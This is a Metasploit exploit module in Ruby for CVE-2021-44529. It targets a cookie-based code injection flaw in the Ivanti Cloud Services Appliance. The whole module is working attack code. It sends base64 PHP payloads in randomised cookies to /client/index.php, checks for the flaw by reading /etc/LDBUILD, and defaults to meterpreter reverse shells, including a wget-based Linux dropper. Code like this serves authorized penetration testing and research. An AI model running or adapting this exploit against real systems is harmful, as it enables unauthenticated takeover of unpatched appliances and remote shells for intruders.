Ivanti Cloud Services Appliance (CSA) Command Injection Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti Cloud Services Appliance (CSA) Command Injection',
        'Description' => %q{
          This module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA)
          for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the
          Cloud Services Appliance before `4.6.0-512` allows an unauthenticated user to
          execute arbitrary code with limited permissions. Successful exploitation results
          in command execution as the `nobody` user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jakub Kramarz', # Discovery
          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor
        ],
        'References' => [
          ['CVE', '2021-44529'],
          ['URL', 'https://forums.ivanti.com/s/article/SA-2021-12-02'],
          ['URL', 'https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529'],
          ['EDB', '50833'],
          ['PACKETSTORM', '166383']
        ],
        'DisclosureDate' => '2021-12-02',
        'Platform' => ['unix', 'linux', 'php'],
        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_PHP],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_http'
              }
            }
          ],
          [
            'PHP Command',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => ['wget', 'printf', 'echo'],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter_reverse_http'
              }
            }
          ]
        ],
        'Payload' => {
          'BadChars' => '"' # We use this to denote the payload as a string so having it in the payload would escape things.
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
  end

  # Randomize the cookie pairs for the request.
  def randomize_cookie(payload)
    # Number of cookie pairs should be at least 4, and the first cookie pair should
    # always have the value 'ab'. Note that the Nth cookie in the request, where
    # N=no_of_cookies-2, should contain the payload.
    #
    # example 1: Cookie: sG34st=ab;g3sBdnn=<PAYLOAD>;h4hYyeEe=;j7sJJjjs=;
    # example 2: Cookie: dvDfR6F=ab;bxvGE=;Fs=<PAYLOAD>;uEn44Nkk=;nnXk=;
    no_of_cookies = rand(4..8)
    cookie_name = Rex::Text.rand_text_alphanumeric(1..8)
    payload_cookie_number = (no_of_cookies - 2)
    random_cookie = "#{cookie_name}=ab;"
    for cookie_no in 2..no_of_cookies do
      cookie_name = Rex::Text.rand_text_alphanumeric(1..8)
      if cookie_no == payload_cookie_number
        random_cookie << "#{cookie_name}=#{payload};"
      else
        random_cookie << "#{cookie_name}=;"
      end
    end

    return random_cookie
  end

  def check_vuln
    # check RCE by grabbing CSA version banner stored on /etc/LDBUILD
    payload = Base64.strict_encode64('readfile("/etc/LDBUILD");')
    cookie_payload = randomize_cookie(payload)

    return send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),
      'cookie' => cookie_payload.to_s
    })
  rescue StandardError => e
    elog("#{peer} - Communication error occurred: #{e.message}", error: e)
    return nil
  end

  def execute_command(cmd, _opts = {})
    case target['Type']
    when :unix_cmd
      payload = Base64.strict_encode64("system(\"#{cmd}\");")
    when :php_cmd
      payload = Base64.strict_encode64(cmd.to_s)
    when :linux_dropper
      payload = Base64.strict_encode64("system(\"#{cmd}\");")
    end
    cookie_payload = randomize_cookie(payload)

    return send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),
      'cookie' => cookie_payload.to_s
    })
  rescue StandardError => e
    elog("#{peer} - Communication error occurred: #{e.message}", error: e)
    fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")
  end

  def check
    print_status("Checking if #{peer} can be exploited.")
    res = check_vuln
    return CheckCode::Unknown('No response received from the target.') unless res
    return CheckCode::Safe unless res.code == 200 && !res.body.blank? && res.body =~ /<c123>/

    begin
      parsed_html = Nokogiri::HTML.parse(res.body)
    rescue Nokogiri::SyntaxError => e
      return CheckCode::Unknown("Unable to parse the HTTP response! Error: #{e}")
    end
    csa_version = parsed_html.at_css('c123')
    if csa_version&.text&.blank?
      CheckCode::Vulnerable('Could not retrieve version.')
    else
      CheckCode::Vulnerable("Version: #{csa_version.text}")
    end
  end

  def exploit
    case target['Type']
    when :unix_cmd
      print_status("Executing #{target.name} with #{payload.encoded}")
      execute_command(payload.encoded)
    when :php_cmd
      print_status("Executing #{target.name} with #{payload.encoded}")
      execute_command(payload.encoded)
    when :linux_dropper
      print_status("Executing #{target.name}")
      execute_cmdstager(linemax: 262144)
    end
  end
end